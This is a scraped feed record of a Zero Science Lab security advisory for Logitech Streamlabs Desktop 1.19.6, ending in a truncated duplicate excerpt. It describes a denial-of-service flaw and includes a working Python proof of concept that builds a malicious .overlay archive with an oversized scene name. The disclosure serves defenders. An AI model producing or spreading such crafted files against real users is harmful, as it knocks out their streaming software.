{“lastseen”:”2025-11-13T15:15:15″,”description”:”Title: Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion Advisory ID: ZSL-2025-5967…”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”zeroscience”,”title”:”Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion”,”source”:””,”references”:””,”id”:”ZSL-2025-5967″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python3\\r\\n#\\r\\n#\\r\\n# Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion\\r\\n#\\r\\n#\\r\\n# Vendor: Logitech | General Workings, Inc.\\r\\n# Product web page: https:\/\/www.logitech.com | https:\/\/www.streamlabs.com\\r\\n# Affected version 1.19.6 (macOS\/Win)\\r\\n#\\r\\n# Summary: Streamlabs Desktop is a free streaming and recording software,\\r\\n# built on OBS Studio, for content creators to stream live to platforms\\r\\n# like Twitch, YouTube, and Facebook. It is designed to be beginner-friendly\\r\\n# and offers tools for creating engaging streams, such as customizable overlays,\\r\\n# alerts for viewer interactions, and the ability to add guests to a stream. \\r\\n#\\r\\n# Desc: A vulnerability exists in Streamlabs Desktop where importing a\\r\\n# crafted .overlay file can cause uncontrolled CPU consumption, leading\\r\\n# to a denial-of-service condition. The .overlay file is an archive\\r\\n# containing a config.json configuration. By inserting an excessively\\r\\n# large string into the name attribute of a scene object within config.json,\\r\\n# the application’s renderer process (Frameworks\/Streamlabs Desktop Helper\\r\\n# (Renderer).app) spikes to over 150% CPU and becomes unresponsive. This\\r\\n# forces the victim to terminate the application manually, resulting in\\r\\n# loss of availability. An attacker could exploit this by distributing\\r\\n# malicious overlay files to disrupt streaming operations.\\r\\n#\\r\\n# ———————————————————————-\\r\\n# $ ps ucp 66595\\r\\n# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND\\r\\n# lqwrm 66595 100.3 0.6 1596218784 221344 ?? R 2:15PM 1:32.11 Streamlabs Desktop Helper (Renderer)\\r\\n# ———————————————————————-\\r\\n#\\r\\n# Tested on: macOS Sequoia version 15.7.2, 15.7.1\\r\\n# Microsoft Windows 11 25H2\\r\\n# Microsfot Windows 10\\r\\n#\\r\\n#\\r\\n# Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n# @zeroscience\\r\\n#\\r\\n#\\r\\n# Advisory ID: ZSL-2025-5967\\r\\n# Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5967.php\\r\\n#\\r\\n#\\r\\n# 15.10.2025\\r\\n#\\r\\n\\r\\n\\r\\nimport argparse\\r\\nimport json\\r\\nimport zipfile\\r\\nfrom pathlib import Path\\r\\n\\r\\ndef build_config(name: str) -\\u0026gt; dict:\\r\\n return {\\r\\n \\”schemaVersion\\”: 2,\\r\\n \\”nodeType\\”: \\”RootNode\\”,\\r\\n \\”scenes\\”: {\\r\\n \\”schemaVersion\\”: 2,\\r\\n \\”nodeType\\”: \\”ScenesNode\\”,\\r\\n \\”items\\”: [\\r\\n {\\r\\n \\”slots\\”: {\\r\\n \\”schemaVersion\\”: 1,\\r\\n \\”nodeType\\”: \\”SlotsNode\\”,\\r\\n \\”items\\”: []\\r\\n },\\r\\n \\”name\\”: name,\\r\\n \\”sceneId\\”: \\”scene_8e59eea4-d0f1-424f-8837-1aacd707700c\\”\\r\\n }\\r\\n ]\\r\\n },\\r\\n \\”transition\\”: {\\r\\n \\”schemaVersion\\”: 1,\\r\\n \\”nodeType\\”: \\”TransitionNode\\”,\\r\\n \\”type\\”: \\”cut_transition\\”,\\r\\n \\”settings\\”: {},\\r\\n \\”duration\\”: 300\\r\\n },\\r\\n \\”nodeMap\\”: {\\r\\n \\”schemaVersion\\”: 1,\\r\\n \\”nodeType\\”: \\”NodeMapNode\\”\\r\\n }\\r\\n }\\r\\n\\r\\ndef create_overlay(output_path: Path, name_length: int = 1000) -\\u0026gt; Path:\\r\\n scene_name = \\”A\\” * name_length\\r\\n config_dict = build_config(scene_name)\\r\\n config_bytes = json.dumps(config_dict, indent=2, ensure_ascii=False).encode(\\”utf-8\\”)\\r\\n\\r\\n output_path.parent.mkdir(parents=True, exist_ok=True)\\r\\n\\r\\n with zipfile.ZipFile(output_path, mode=\\”w\\”, compression=zipfile.ZIP_DEFLATED) as zf:\\r\\n zf.writestr(\\”config.json\\”, config_bytes)\\r\\n\\r\\n return output_path\\r\\n\\r\\ndef main():\\r\\n parser = argparse.ArgumentParser(description=\\”Create a Streamlabs .overlay with a 1000 chars scene name.\\”)\\r\\n parser.add_argument(\\”-o\\”, \\”–output\\”, type=Path, default=Path(\\”sample.overlay\\”),\\r\\n help=\\”Path to the output .overlay archive (default: sample.overlay)\\”)\\r\\n parser.add_argument(\\”-n\\”, \\”–name-length\\”, type=int, default=1000,\\r\\n help=\\”Number of bytes to use for the scene name (default: 1000)\\”)\\r\\n\\r\\n args = parser.parse_args()\\r\\n\\r\\n out = create_overlay(args.output, name_length=args.name_length)\\r\\n print(f\\”Created overlay: {out.resolve()}\\”)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()\\r\\n\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”http:\/\/zeroscience.mk\/codes\/logitech_streamlabs_cpu.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5967.php”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-13T15:15:15″,”description”:”Title: Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion Advisory ID: ZSL-2025-5967…”,”published”:”2025-11-13T00:00:00″,”modified”:”2025-11-13T00:00:00″,”type”:”zeroscience”,”title”:”Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion”,”source”:””,”references”:””,”id”:”ZSL-2025-5967″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python3\\r\\n#\\r\\n#\\r\\n# Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion\\r\\n#\\r\\n#\\r\\n#…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-26115","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n